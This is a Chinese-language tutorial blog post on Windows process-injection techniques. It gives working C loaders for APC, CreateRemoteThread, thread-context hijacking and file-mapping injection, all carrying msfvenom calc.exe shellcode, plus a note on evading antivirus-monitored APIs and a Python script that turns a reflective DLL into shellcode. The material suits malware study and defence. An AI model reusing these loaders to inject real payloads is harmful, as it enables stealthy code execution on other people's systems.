Windows Shellcode 注入姿势

#APC

APC(Asynchronous Procedure Call 异步过程调用)是在 Windows 中常用的机制,用于将要在特定线程上下文中完成的作业排队。

APC的实际作用:假设一个线程在执行过程中,发出一个I/O请求,然后设备驱动执行线程传过来的I/O请求,但发出I/O请求的线程会继续执行下去。当线程需要获得返回结果才能继续进行的时候,这时候的线程处于Alertable状态。当设备驱动执行完I/O请求,会将结果插入APC队列,此时系统就会执行APC队列。

APC有两种形式

  • 用户模式APC:由应用程序产生,APC函数地址位于用户空间,在用户空间执行。
  • 内核模式APC:由系统产生,APC函数地址位于内核空间,在内核空间执行。

注意事项

  • 每个线程都会有一个APC队列。
  • 当一个线程从等待状态中苏醒(线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultiple、ObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx函数时会进入可唤醒(Alertable)状态),进入Alertable状态的时候,Windows 会在这些函数返回前遍历该线程的APC队列,然后按照先进先出 (FIFO)的顺序来执行APC。
  • 在用户模式下,使用QueueUserAPC把APC过程添加到目标线程的APC队列中。等这个线程恢复执行时,就会执行插入的APC。也可利用NtTestAlert函数,它会检查当前线程的 APC 队列,如果有任何排队的APC 作业,它会运行它们以清空队列。
1
2
3
4
5
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC, //APC 函数地址
  [in] HANDLE    hThread, //线程句柄(可以跨进程)
  [in] ULONG_PTR dwData  //APC 函数的参数
);

#APC 注入

如上所述,可知道主动运行APC 队列有两种方式: 一是可通过创建一个suspend状态的线程,将shellcode地址插入该线程的APC 队列,再唤起该线程,此时APC 队列就会执行。二是通过NtTestAlert来主动执行APC 队列。

实现代码

生成弹计算器的shellcode msfvenom -p windows/x64/exec CMD="calc.exe" -f c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <Windows.h>

//定义NtTestAlert的函数指针
typedef VOID(NTAPI* pNtTestAlert)(VOID);
int main() {
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

			//获取ntdll.dll地址
			pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
			//分配可执行内存空间
			LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
			memcpy(lpBaseAddress, shellcode, sizeof(shellcode));
			//((void(*)())lpBaseAddress)();
			//方法一
			QueueUserAPC((PAPCFUNC)lpBaseAddress, GetCurrentThread(), NULL);
			NtTestAlert();
			//方法二
			/*HANDLE  hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);
			QueueUserAPC((PAPCFUNC)lpBaseAddress, hThread, NULL);
			ResumeThread(hThread);
			WaitForSingleObject(hThread,INFINITE);*/

}

#函数指针与指针函数

  1. 函数指针定义格式

    void (* func) (void);

  2. 函数指针作用

    调用函数和做函数的参数。

  3. 理解

    • 函数指针的实质还是指针,还是指针变量。
    • 函数指针、数组指针、普通指针之间并没有本质区别,区别在于指针指向的是什么。
    • 函数的实质是一段代码,这一段代码在内存中是连续分布的。函数中的第一句代码的地址就是所谓的函数地址,在C语言中用函数名这个符号来表示。
1
2
3
4
5
6
7
8
9
void func1(void)        //定义一个函数,以方便下面定义函数指针
{
	printf("test for function pointer.\n");
}
 
void (*pFunc)(void);    //函数指针定义
pFunc = func1; 	        //函数指针赋值
(*pFunc)();             //函数指针调用;用函数指针来调用以调用该函数,注意*pFunc要用()括起来
//pFunc();              //调用的第二种写法,效果和上面一样

而指针函数实质是一个函数,叫这个名字是因为他的返回类型是某一类型的指针。

#理解 (*(void (* )()) lpBaseAddress)()

就是把从指定地址开始的命令当作函数进行调用执行。

  1. void (*)() 是一个无参数、无返回类型的函数指针。
  2. (void (*)())lpBaseAddress 是将lpBaseAddress强转为函数指针类型。
  3. (*(void (*)()) lpBaseAddress)() 就是通过函数指针(相当于这个格式(*函数指针)())进行函数调用。

#远程线程注入

远程线程注入主要是通过CreateRemoteThread在另外一个进程中创建一个线程并执行。

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

注入方式很简单: 打开远程进程句柄(PROCESS_ALL_ACCESS)—在目标进程里分配内存空间—将shellcode 写入到远程地址空间中—给CreateRemoteThread传入shellcode地址,启动线程。

实现代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}
	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;
	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}
	CloseHandle(hSnapshot);
	return 0;
}
int main() {
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,0, GetProcessIdByName(L"notepad.exe"));
	LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, 2*4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	//注入shellcode 
	WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
	HANDLE hThread=CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, 0, 0, 0);
	WaitForSingleObject(hThread, INFINITE);
	//注入dll
	//char path[] = "C:\\Users\\kaifa\\Desktop\\1.dll";
	//WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
	//LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
	//CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);

	printf("%d\n",GetLastError());

}

为什么在注入calc的shellcode后会导致目标进程崩溃,但是注入cs的shellcode却不会?

个人认为cs的shellcode运行后会阻塞自己(sleep),这样会给Windows 调度其他线程的机会。所以该进程的其他线程会有机会执行。弹计算器的shellcode执行完后该线程就直接退出了。

或者修改线程上下文的Rip指针来执行shellcode。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
TCHAR ProcessName[] = L"notepad";
CreateProcess(NULL, ProcessName, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
SuspendThread(pi.hThread);
LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, 2 * 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)lpBaseAddress;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

指令指针IP/EIP/RIP的基本作用是指向要执行的下一条指令地址。

  1. 在8086被称为IP(instruction pointer 指令指针),指向下一条指令。
  2. 指令指针EIP寄存器包含了当前代码段中的一个偏移量,通过CS:EIP联合指向了即将执行的下一条指令。
  3. 在64位模式下,指令指针是RIP寄存器。这个寄存器保持着下一条要执行的指令的64位地址偏移量。

#内存映射注入

内存映射文件就是申请一个区域的地址空间,把位于磁盘上的文件全部或部分映射到该内存地址空间上,而不是常规的文件读写方式: 将文件加载到内存中,再分配内存给该地址空间。这种方式的好处是可以不用对文件执行I/O操作,以及对文件内容进行缓存,特别是在处理超大文件时,对内存资源占用极少。

使用内存映射注入还可以在分配内存时,避免使用一些被杀毒软件严密监控的API,如VirtualAllocEx,WriteProcessMemory等。

正常的内存映射文件流程:

  1. 利用CreateFile 创建文件内核对象,获取该对象句柄。
  2. 利用CreateFileMapping 创建一个文件映射内核对象,并传入第一步打开的文件对象句柄。
  3. 利用MapViewOfFile 将文件数据映射到进程的地址空间。该函数将返回文件在进程空间的起始地址。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <Windows.h>
#include <Tlhelp32.h>
#pragma comment (lib, "OneCore.lib")
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}
	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;
	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}
	CloseHandle(hSnapshot);
	return 0;
}
int main() {
	unsigned char shellcode[] = 
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
		"\x63\x2e\x65\x78\x65\x00";

	//申请了一段进程虚拟地址,相当于代替了VirtualAlloc,这里不需要从磁盘文件读取shellcode,所以没用到CreateFile。
	HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
	LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITEs, 0, 0, sizeof(shellcode));

	//复制shellcode到分配的进程虚拟地址中,lpMapAddress为该地址空间的首地址。
	memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIdByName(L"notepad.exe"));
	//向另一进程中写入该虚拟地址空间的内容,相当于代替WriteProcessMemory
	LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
	//创建远程线程
	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);
	UnmapViewOfFile(lpMapAddress);
	CloseHandle(hMapping);

}

Tips: 使用文件映射进行远程进程注入的缺点是它仅适用于 x86→x86 和 x64→x64。VirtualAllocEx与WriteProcessMemory支持跨位数的注入。

推荐后面不使用 MapViewOfFile2和CreateRemoteThread 来注入远程线程,而是使用APC队列。

1
2
3
4
5
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE| FILE_MAP_EXECUTE, 0, 0, sizeof(shellcode));
memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));
QueueUserAPC((PAPCFUNC)lpMapAddress, GetCurrentThread(), NULL);
NtTestAlert();

#Reflective DLL

反射DLL 是指:编写DLL 自加载函数(ReflectiveLoader)并导出,然后将PE文件起始字节修改成调用ReflectiveLoader 函数的硬编码。通过ReflectiveLoader 函数使DLL 的PE 结构在内存中展开、修复重定位表、修复IAT表,最后获取DllMain 入口函数地址并执行。

这种方式也可以变相的认为是一种将DLL 变成ShellCode 的技术,不依赖loadlibrary函数且DLL 文件不落地。同样,也可以用上面介绍的ShellCode 注入方式来加载。

#DOSHeader 修改

修改PE 文件头起始字节,将其改成调用ReflectiveLoader函数的汇编指令。PE 文件都是以MZ字符开头,对应的16进制是4D5A。在将其当作代码执行时,在X86 32位程序上,4D5A 代表dec ebp pop edx 两条指令。(Hex To ASM Online)所以,如果要保留MZ 这两个字符的话,那么就需要抵消这两条指令的影响。

X86

dec ebp                  ;ebp -1
pop edx                  ;edx=[esp] esp+4
//抵消上两条指令的影响
inc ebp
push edx
call 0                   ;把下一行指令地址压栈,即pop edx指令地址
pop edx                  ;取出栈中的地址,保存到edx寄存器中
add edx,<FuncOffset-9>   ;计算ReflectiveLoader函数在内存中的位置
push ebp
mov ebp, esp             ;保存初始堆栈
call edx                 ;调用ReflectiveLoader函数

x64

41 5a                   ;pop r10
41 52                   ;push r10
e8 00 00 00 00          ;call 0
5b                      ;pop rbx
48 81 c3 09 00 00 00    ;add rbx, <FuncOffset-9>
55                      ;push  rbp
48 89 e5                ;mov rbp, rsp
ff d3                   ;call rbx

Python 代码修改PE 文件开头几字节(比较简单,用的idiotc4t 代码)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import sys
import pefile
from struct import pack
    
def help():
    print("usage: python3 <DllPath> <FuncName>\n")
    
def get_func_offset(pe_file,func_name):
    if hasattr(pe_file,'DIRECTORY_ENTRY_EXPORT'):
        for export in pe_file.DIRECTORY_ENTRY_EXPORT.symbols:
            if func_name in str(export.name):
                func_rva = export.address
                break
    
    if func_rva == 0:
        help()
        print("[-] not found function offset in file")
        sys.exit(0)
    
    offset_va = func_rva - pe_file.get_section_by_rva(func_rva).VirtualAddress
    func_file_offset = offset_va + pe_file.get_section_by_rva(func_rva).PointerToRawData
    func_file_offset -= 9 
    
    return bytes(pack("<I",func_file_offset))
    
def get_patch_stub(pe_file,func_offset):
    
    if pe_file.FILE_HEADER.Machine == 0x014c:
        is64 = False
    elif pe_file.FILE_HEADER.Machine ==0x0200 or pe_file.FILE_HEADER.Machine ==0x8664:
        is64 =True
    else:
        print("[-]unknow the format of this pe file")
        sys.exit()
    
    if is64:
                stub =(
                b"\x4D\x5A"
                b"\x41\x52"
                b"\xe8\x00\x00\x00\x00"
                b"\x5b"
                b"\x48\x81\xC3" + func_offset +
                b"\x55"
                b"\x48\x89\xE5"
                b"\xFF\xD3"
                );
    
    else:
                stub = (
                b"\x4D"
                b"\x5A"
                b"\x45"
                b"\x52"
                b"\xE8\x00\x00\x00\x00"
                b"\x5A"
                b"\x81\xC2" + func_offset +
                b"\x55"
                b"\x8B\xEC"
                b"\xFF\xD2"
                );
    return stub;
    
def patch_dll(pe_path,func_name):
    try:
        pe_file =pefile.PE(pe_path)
    except e:
        print(str(e))
        help()
        sys.exit()
    
    
    func_offset = get_func_offset(pe_file,func_name)
    patch_stub = get_patch_stub(pe_file,func_offset)
    
    
    filearray = open(pe_path,'rb').read()
    print("[+] loaded nameof %s"% (pe_path))
    
    patch_dll_file = patch_stub + filearray[len(patch_stub):]
    print("[+] patched offset %s" % (func_offset.hex()))
    
    patch_dll_name = "patch-" +pe_path
    open(patch_dll_name,'wb').write(patch_dll_file)
    print("[+] wrote nameof %s"% (patch_dll_name))
    
if __name__ == '__main__':
    a = len(sys.argv)
    if len(sys.argv) != 3:
        help()
        sys.exit(0);
    pe_path = sys.argv[1]
    func_name =  sys.argv[2]
    patch_dll(pe_path,func_name)

至于指令后面DOS的特征,可以都置0或杂乱的值(就像CS 处理的一样)。

#ReflectiveLoader 分析

参考一下经典项目:https://github.com/rapid7/ReflectiveDLLInjection ,只需要看其中Reflective Dll 项目即可。分析ReflectiveLoader 导出函数之前需要先了解PE 结构以及IAT 表、基址重定位表是如何工作的。项目中注释有很多,看着注释能明白每步操作含义,下面总结一下重要的几个步骤(篇幅影响就不截图了)。

  1. 首先需要获取当前DLL 加载到内存中的首地址。通过_ReturnAddress() 获取到下一条指令的地址,接着向前循环查找,直到找到MZ标志,然后获取PE 头地址。(这也是为什么保留了MZ的原因,用于定位DLL的首地址)
  2. 从当前进程的PEB中获取当前进程kernel32.dll中LoadLibraryA、GetProcAddress、VirtualAlloc、VirtualLock函数地址以及ntdll.dll中的NtFlushInstructionCache 函数地址。通过比对这几个函数Hash来确定函数,从而获取函数地址。
  3. 分配一块新内存空间,将当前DLL 在内存中展开。将PE 头、各区块复制到新分配的内存。之所以复制到新内存空间是为了按照各节区的RVA 以及大小在内存中对齐。
  4. 接着重要的来了,处理当前DLL 的导入表。首先使用loadlibraryA函数根据导入表加载DLL,然后修复IAT 表中的导入函数地址。如果通过序号导入则手动解析导出函数地址,否则使用 GetProcAddress()函数得到地址。
  5. 然后修复基址重定位表,修改硬编码的地址。修复过基址之后要调用 NtFlushInstructionCache函数刷新指令缓存。
  6. 接着从PE 头中获取DLLMain地址并调用。

这最后四步其实就是做的PE加载器的活。写好ReflectiveLoader 导出函数并编译DLL,修改此DLL DOS 头后,就可以直接当作shellcode 来用了。

上面的技术要求DLL 必须实现导出函数,其实可以把ReflectiveLoader 直接写在PE 一个空白区块中,确定地址后再进行调用。例如 https://github.com/hasherezade/pe_to_shellcode 就是这样实现的,由此可以把PE 文件直接当作ShellCode 执行且还能让PE 文件依旧有效。

#参考

  1. Windows Ring3层注入--"QueueUserAPC" APC注入(四)_手拿肉的美女剑豪的博客-CSDN博客

  2. APC & NtTestAlert Code Execute

  3. Mapping Injection

  4. ReflectiveDLLInjection变形应用

  5. Reflective Dll Inject 原理解析

加载评论